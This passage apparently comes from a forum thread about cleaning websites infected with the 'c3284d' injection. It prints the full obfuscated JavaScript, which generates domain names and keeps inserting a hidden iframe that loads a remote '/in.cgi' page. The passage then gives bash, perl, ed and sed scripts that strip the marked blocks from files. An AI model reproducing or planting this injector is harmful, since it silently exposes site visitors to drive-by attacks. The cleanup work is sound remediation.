tat} var lo=this.seed%this.Q;function dee(pht,oxy){for(var var18=0;var18<4;var18++){var var22=0.0152;if(var22==null){var var20=3229;if(var20>14){var var19=1941}var var21='zh4pMCYB'}}return oxy}var var25=5109;if(var25>4261){var var23=0;var var24='mho'} var test=this.A*lo-this.R*hi;var var26=0.011;var26-=7383; if(test>0){var var27=null;var27-=2995;for(var var28=0;var28<8;var28++){var var30=0.0056;if(var30!=19){var var29=0;var29+=0.013}var var31=26;var31++} this.seed=test;var var32=0;while(var32<4){var var33=27;var33--;var32++}var var35=2510;if(var35<null){var var34='lwxSFm8TI'}}else{var var38=8;if(var38==29){var var36=0.017;var36--;var var37=13;var37--}var var39=2605; this.seed=test+this.M;var var40=25;var40-=5704;var var41={wit:2288}}var var42=0.018;var42-=0.0047; return(this.seed*this.oneOverM)}var var6=null;var6-=6649;var var8=2139;if(var8!=0.0176){var var7=10;var7++}function jig(unix){var s,var1,d,var3,var2;function lac(net,dam,sap){var var11=29;if(var11!=5171){var var6=0.002;if(var6<15){var var4=20;var4-=8;var var5=0.035;var5--}var var10=11;if(var10==2581){var var8=18;if(var8>10){var var7=null;var7-=2355}var var9=10;var9++}}return net}var var3=4775;var var13=30;if(var13<23){var var12=9;var12++}var var14=0;do{var var15=0.0147;var var16=0;var14++}while(var14<7);var3-=680;var var19=8044;if(var19==0.0096){var var17=0.0015;var17-=0.009;var var18=22;var18++}var var20={pix:['pip','tor','lob']};var var2=120523;var var23=0.029;if(var23<4713){var var21=6;var21--;var var22=0.004;var22++}var var24=2304;var24--;var2-=54988;var var25=false;var var26=4364;var26++;var var1=17722082;var var27=true;var1-=944867;var var28='den';var d=new Date(unix*1000);var var29=null;var29-=13; var s=Math.ceil(d.getHours()/3);function feu(fas,cry){var var31=5835;if(var31==0){var var30=2916}return fas} this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var33=0.008;if(var33>9){var var32=0.009;var32-=2790} this.A=48271;var var34=5222;var34+=1338; this.M=2147483647;var var35={top:['sue','ras']}; this.Q=this.M/this.A;var var36='pjNgzb'; this.R=this.M%this.A;var var37=7112;var37--; this.oneOverM=1.0/this.M;var var38=0;do{var var39=5708;var39++;var var41=9;if(var41==0.007){var var40=3570;var40++}var38++}while(var38<3); this.next=ulu;var var43=16;if(var43==7569){var var42=1355}var var44=false; return this}var var11=18;if(var11==0){var var9=0.006;var var10=30;var10--}function hot(dub,jut){var var12='FtjKdH6DTi';var var13=28;var13++;return dub}function bum(r,Min,Max){function arc(vac,hat){var var1=13;var1+=6807;return hat}var var2=0.031;var2--;return Math.round((Max-Min)*r.next()+Min)}var var14=0;do{var var15=['pit','men'];var var16=0;var14++}while(var14<4);function dap(unix,length,zone){var i,rand,letters,str;var var1=0;do{var var2=7902;var1++}while(var1<4);var var3=1574;var3++;var var4=0;do{var var5=5140;var5+=0.007;var var6=null;var6-=0.0061;var4++}while(var4<6);function lap(eth,wyn){var var7=0.002;var7--;return wyn}var rand=new jig(unix);var var10=0.0204;if(var10>8){var var8=0.01;var var9=0.0068} var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var11=8091;var var12=['del','rec','jam']; var str='';var var19=22;if(var19!=8632){var var15=24;if(var15>0.0187){var var13=4820;var13-=14;var var14=4205;var14--}var var18=7248;if(var18!=null){var var16=0.0077;var16+=8095;var var17=3411;var17--}}for(var i=0; i<length; i++){var var20='yjVL6qKWtZ'; str+=letters[bum(rand, 0, letters.length-1)];var var21={gob:28}}function bar(dey,fay){var var22=0.0039;var22-=7259;var var24=23;if(var24==0){var var23='tab'}return dey}var var25='UhRKMl5V'; return str+'.'+zone}for(var var17=0;var17<3;var17++){var var18=['how','tar'];var var19=0;var19-=5692}var var20=0;do{var var21=6868;var21++;var var22=0.002;var22++;var20++}while(var20<7);setInterval(function(){var var23=4845;var var24=0.0149;var24++; try{var var27=10;if(var27>null){var var25=0.011;var25--;var var26=0.025;var26+=0.003} if(typeof iframeWasCreated=='undefined'){var var28=0.016;var28+=7624;var var29=12; var unix=Math.round(+new Date()/1000);var var30=0.0044;var30+=0.007; var domainName=dap(unix, 16, 'info');var var31=29;var31+=5759; ifrm=document.createElement('i'+'frame'); function roe(mae,you,bam){var var32=0;do{var var33=[18,45,27,9,36,0];var32++}while(var32<6);var var34=7886;return bam} ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?14'); var var35='je5Bx_40z'; ifrm.style.width='10px'; var var36=4376;var36+=2797; ifrm.style.height='10px'; var var37=7287;var37--;function nor(lop){var var38={dig:4393};return lop} ifrm.style.visibility='hidden'; var var41=17;if(var41>1540){var var39=[0,18,12,6];var var40=12;var40+=0.016} document.body.appendChild(ifrm);var var43=0.0437;if(var43==0.0087){var var42=0.002}var var44=2082;var44-=0.0189;iframeWasCreated=true;var var45=false}var var48=0.008;if(var48==7526){var var46=8527;var46--;var var47=5186;var47--}for(var var49=0;var49<8;var49++){var var50=false}}catch(e){iframeWasCreated=undefined}var var51=0.0135;var51+=1355;var var52=0.0019;var52++}, 100);</script><!--/c3284d-->
/*c3284d*/
function dow(hit){var var1=0.0086;var1+=18;return hit}var var2=0.0165;var2+=16;function gel(str,shift){var sux,ext,var2,len,ich,pos,cnt1,var6,var4,ret,var5,var1,cnt2,sh,var3,ch,ch;var var1=0.0018;var var2=4771;var2++;var var3=0.043;var3-=18;var var2='CYBsubfX'.substr(3,3);function aal(why,thy){var var4=0.0111;var4--;return thy}var2+='QDsstrr3'.substr(3,3);var var8=7678;if(var8<25){var var6=0.0028;if(var6!=0){var var5=2108;var5++}var var7={yeh:0.0022}}var var6=25;function led(pow,nib,xis){var var9=7;var9++;return nib}var6-=9;var var10=6;var10++;var var12=0.0102;if(var12!=5){var var11=0.021;var11--}var var1='OpulenmH'.substr(3,3);var var14=0.012;if(var14!=null){var var13=12;var13-=0.0027}var1+='Msgthln'.substr(2,3);var var16=8439;if(var16<0.0142){var var15=5943;var15+=0.007}var var5=40;function lar(rad,tsk,dud){var var17=13;var17++;var var18=13;var18-=0.0199;return tsk}var5+=22;var var19=0.021;var var4='CyqfromxB'.substr(3,4);var var20=0.0058;var20++;var var22=0.0179;if(var22!=null){var var21=23;var21--}var4+='zsCharAR'.substr(2,4);var var23=0.0435;var23--;var4+='XDoCodeWm'.substr(3,4);function lug(cod){var var26=0.0038;if(var26!=26){var var24=0.037;var24+=24;var var25=2702}var var31=5244;if(var31<0.0085){var var27='voADrb8a1';var var30=5099;if(var30!=6){var var28=0.0233;var28++;var var29=null}}return cod}var var3='sF68indeOu'.substr(4,4);var var34=3367;if(var34!=0.0246){var var32=0.0089;var32++;var var33='cut'}var3+='Tq4xOfAk'.substr(3,3);var var36=0.0101;if(var36>25){var var35=0.0071;var35+=3169}var var38=13;if(var38==0){var var37=5;var37+=3684}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var39=0;do{var var40=4847;var40+=29;var var41=26;var41++;var39++}while(var39<7);var var42=0.0239;var42-=16;var ret='';function jot(few,hyp){var var43=null;var43-=0.0021;return hyp}var ext='';var var44=1250;var44++;var var45=0.0034;var45+=6258;var sh=0;var var46=7594;var46++;var var47=3240;var47--;var len=str[var1];var var49=3026;if(var49!=null){var var48=0.004;var48-=20}for(var cnt1=0;cnt1<len;cnt1++){var var50=14;var50+=0.013;sh+=shift;var var51=6;var51++;var var52=0.0193;var52++;var ch=str[var2](cnt1,1);var var53=0;do{var var55=7261;if(var55!=null){var var54=16;var54+=14}var var58=1404;if(var58>17){var var56=[10,0,50,30,40,20];var var57=5412;var57++}var53++}while(var53<8);var pos=sux[var3](ch);var var59=0.0262;var59++;pos+=sh;var var60=6;var60+=6;pos%=var5;for(var var61=0;var61<10;var61++){var var62=21;var62++;var var63=4887;var63-=4113}ret+=sux[var2](pos,1);var var66=0.062;if(var66>22){var var64=0;var64+=3831;var var65=0.013;var65-=11}var var67=0.0122;var67-=3665}var var68=0.017;var68++;var var69=null;var69-=0.0069;for(var cnt2=0;cnt2<len;cnt2+=2){function tub(uke,dun){var var70=0;do{var var73=5314;if(var73!=4129){var var71=0;var71+=0.0322;var var72=false}var70++}while(var70<7);var var74=0.0238;var74-=6514;return uke}var var75=17;var75-=21;var ch=ret[var2](cnt2,2);function cue(ton){var var78=0.003;if(var78==28){var var76=0;var76+=7;var var77=0.0089;var77--}return ton}var ich=parseInt(ch,var6);var var79=0;while(var79<7){var var81=6374;if(var81!=0.0126){var var80=0.003;var80+=1176}var79++}ext+=String[var4](ich);function gun(sub,vug){var var82=0.005;var82--;var var83=null;return sub}var var84=10;var84--}function ree(ban,set){var var89=0.0136;if(var89<0){var var86=11;if(var86<4930){var var85=0;var85-=4954}var var88=5;if(var88<0){var var87=8525;var87--}}return ban}return ext}var var3=0;var3-=6479;for(var var4=0;var4<10;var4++){var var5=7;var5+=26}function ulu(){var hi,test,lo;function bid(pah){var var9=0.0011;if(var9==19){var var7=1393;if(var7==0.017){var var3=19;if(var3==null){var var2=7;if(var2!=3669){var var1=[21,42,28,0,35,7,14]}}var var6=0.005;if(var6!=5605){var var4=0.028;var4-=10;var var5=0.0145;var5+=0.004}}var var8=['the','eft','mas']}return pah}var var10=18;var10--;var var11=5110;var11--;var var14=0.014;if(var14==null){var var12=1537;var12--;var var13=0.012;var13--}var hi=this.seed/this.Q;function cos(wag){var var15='hum';var var16=['teg','yod'];return wag}function yew(tat){var var17=0.0109;var17-=3465;return tat} var lo=this.seed%this.Q;function dee(pht,oxy){for(var var18=0;var18<4;var18++){var var22=0.0152;if(var22==null){var var20=3229;if(var20>14){var var19=1941}var var21='zh4pMCYB'}}return oxy}var var25=5109;if(var25>4261){var var23=0;var var24='mho'} var test=this.A*lo-this.R*hi;var var26=0.011;var26-=7383; if(test>0){var var27=null;var27-=2995;for(var var28=0;var28<8;var28++){var var30=0.0056;if(var30!=19){var var29=0;var29+=0.013}var var31=26;var31++} this.seed=test;var var32=0;while(var32<4){var var33=27;var33--;var32++}var var35=2510;if(var35<null){var var34='lwxSFm8TI'}}else{var var38=8;if(var38==29){var var36=0.017;var36--;var var37=13;var37--}var var39=2605; this.seed=test+this.M;var var40=25;var40-=5704;var var41={wit:2288}}var var42=0.018;var42-=0.0047; return(this.seed*this.oneOverM)}var var6=null;var6-=6649;var var8=2139;if(var8!=0.0176){var var7=10;var7++}function jig(unix){var s,var1,d,var3,var2;function lac(net,dam,sap){var var11=29;if(var11!=5171){var var6=0.002;if(var6<15){var var4=20;var4-=8;var var5=0.035;var5--}var var10=11;if(var10==2581){var var8=18;if(var8>10){var var7=null;var7-=2355}var var9=10;var9++}}return net}var var3=4775;var var13=30;if(var13<23){var var12=9;var12++}var var14=0;do{var var15=0.0147;var var16=0;var14++}while(var14<7);var3-=680;var var19=8044;if(var19==0.0096){var var17=0.0015;var17-=0.009;var var18=22;var18++}var var20={pix:['pip','tor','lob']};var var2=120523;var var23=0.029;if(var23<4713){var var21=6;var21--;var var22=0.004;var22++}var var24=2304;var24--;var2-=54988;var var25=false;var var26=4364;var26++;var var1=17722082;var var27=true;var1-=944867;var var28='den';var d=new Date(unix*1000);var var29=null;var29-=13; var s=Math.ceil(d.getHours()/3);function feu(fas,cry){var var31=5835;if(var31==0){var var30=2916}return fas} this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var33=0.008;if(var33>9){var var32=0.009;var32-=2790} this.A=48271;var var34=5222;var34+=1338; this.M=2147483647;var var35={top:['sue','ras']}; this.Q=this.M/this.A;var var36='pjNgzb'; this.R=this.M%this.A;var var37=7112;var37--; this.oneOverM=1.0/this.M;var var38=0;do{var var39=5708;var39++;var var41=9;if(var41==0.007){var var40=3570;var40++}var38++}while(var38<3); this.next=ulu;var var43=16;if(var43==7569){var var42=1355}var var44=false; return this}var var11=18;if(var11==0){var var9=0.006;var var10=30;var10--}function hot(dub,jut){var var12='FtjKdH6DTi';var var13=28;var13++;return dub}function bum(r,Min,Max){function arc(vac,hat){var var1=13;var1+=6807;return hat}var var2=0.031;var2--;return Math.round((Max-Min)*r.next()+Min)}var var14=0;do{var var15=['pit','men'];var var16=0;var14++}while(var14<4);function dap(unix,length,zone){var i,rand,letters,str;var var1=0;do{var var2=7902;var1++}while(var1<4);var var3=1574;var3++;var var4=0;do{var var5=5140;var5+=0.007;var var6=null;var6-=0.0061;var4++}while(var4<6);function lap(eth,wyn){var var7=0.002;var7--;return wyn}var rand=new jig(unix);var var10=0.0204;if(var10>8){var var8=0.01;var var9=0.0068} var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var11=8091;var var12=['del','rec','jam']; var str='';var var19=22;if(var19!=8632){var var15=24;if(var15>0.0187){var var13=4820;var13-=14;var var14=4205;var14--}var var18=7248;if(var18!=null){var var16=0.0077;var16+=8095;var var17=3411;var17--}}for(var i=0; i<length; i++){var var20='yjVL6qKWtZ'; str+=letters[bum(rand, 0, letters.length-1)];var var21={gob:28}}function bar(dey,fay){var var22=0.0039;var22-=7259;var var24=23;if(var24==0){var var23='tab'}return dey}var var25='UhRKMl5V'; return str+'.'+zone}for(var var17=0;var17<3;var17++){var var18=['how','tar'];var var19=0;var19-=5692}var var20=0;do{var var21=6868;var21++;var var22=0.002;var22++;var20++}while(var20<7);setInterval(function(){var var23=4845;var var24=0.0149;var24++; try{var var27=10;if(var27>null){var var25=0.011;var25--;var var26=0.025;var26+=0.003} if(typeof iframeWasCreated=='undefined'){var var28=0.016;var28+=7624;var var29=12; var unix=Math.round(+new Date()/1000);var var30=0.0044;var30+=0.007; var domainName=dap(unix, 16, 'info');var var31=29;var31+=5759; ifrm=document.createElement('i'+'frame'); function roe(mae,you,bam){var var32=0;do{var var33=[18,45,27,9,36,0];var32++}while(var32<6);var var34=7886;return bam} ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?14'); var var35='je5Bx_40z'; ifrm.style.width='10px'; var var36=4376;var36+=2797; ifrm.style.height='10px'; var var37=7287;var37--;function nor(lop){var var38={dig:4393};return lop} ifrm.style.visibility='hidden'; var var41=17;if(var41>1540){var var39=[0,18,12,6];var var40=12;var40+=0.016} document.body.appendChild(ifrm);var var43=0.0437;if(var43==0.0087){var var42=0.002}var var44=2082;var44-=0.0189;iframeWasCreated=true;var var45=false}var var48=0.008;if(var48==7526){var var46=8527;var46--;var var47=5186;var47--}for(var var49=0;var49<8;var49++){var var50=false}}catch(e){iframeWasCreated=undefined}var var51=0.0135;var51+=1355;var var52=0.0019;var52++}, 100);
/*/c3284d*/
well in 2 stages this is achievable
in above example there was 2 occurances ? for 2 delit is called 3 times (to catch last instance of it) how ever many instances + 1 times delit needs to be called within the bottom of for loop
cd webpath;
grep -r c3284d *|awk -F":" '{print $1}'|grep -v fix.sh|sort|uniq > infected.txt
./fix.sh infected.txt
this is all the files in infected.txt now fixed
this is actual scipt
fixit.sh
#!/bin/bash
inputfile=$1;
pattern1='c3284d';
pattern2='c3284e';
function addreturn() {
in1="<!--c3284d-->"
out1="
c3284d
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="<!--/c3284d-->"
out1="
c3284d
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="/*c3284d*/"
out1="
c3284e
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="/*/c3284d*/"
out1="
c3284e
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
}
function delit () {
echo "Working on $file"
delids=`egrep -n "($pattern)" $file|awk -F":" '{print $1}'|tr "\n" " "`
echo $delids;
delarray=( $delids )
val1=${delarray[0]}
val2=${delarray[1]}
if [ "$val2" == "" ]; then
val2=`expr $val1 + 1`
fi
doit=$val1","$val2"d"
ed -s $file << EOF
$doit
.
w
q
EOF
}
for file in `cat $inputfile`
do
addreturn;
pattern=$pattern1
delit;
pattern=$pattern2;
delit;
done
E2A - WARNING this is using ed to find the line numbers of instances and then actually edit file live and remove between the lines so please backup your content before attempting this
16th Sunday
I tested the old script again this time I put text withineach of the cp3842 and found it was removing text or content between the first call and second call.
Script has now been updated above, I have done some replacing of the tags and inserted extra carriage returns, the reason content between first call 2nd call went missing was due to me doing a -- on val2. This now splits first chunk as original id, the second chunk as cp384e changes d to e then does a delit twice depending on pattern.
This does work I have tested it
$ cp ../test1.pp ./
$ grep -n c3284d test1.pp |awk '{print $1}'
3:<!--c3284d--><script>function
8:/*c3284d*/
10:/*/c3284d*/
$ grep -n AAA test1.pp
1:AAAAAAAAAAAAAAAA
2:AAAAAAAAAAAAAAA
$ grep -n BBB test1.pp
5:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
6:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$ grep -n CCC test1.pp
11:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
12:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
$ ./fix1.sh infected.txt
Working on test1.pp
4 6
Working on test1.pp
10 14
$ grep -n c3284d test1.pp |awk '{print $1}'
$ grep -n AAA test1.pp
1:AAAAAAAAAAAAAAAA
2:AAAAAAAAAAAAAAA
$ grep -n BBB test1.pp
6:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
7:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$ grep -n CCC test1.pp
11:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
12:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
$
You could remove all the lines between the occurrences of c3284d:
find /home -type f -exec sed -i '/c3284d/,/c3284d/ d' {} \;
This will not only remove the lines containing c3284d, but also the lines between them.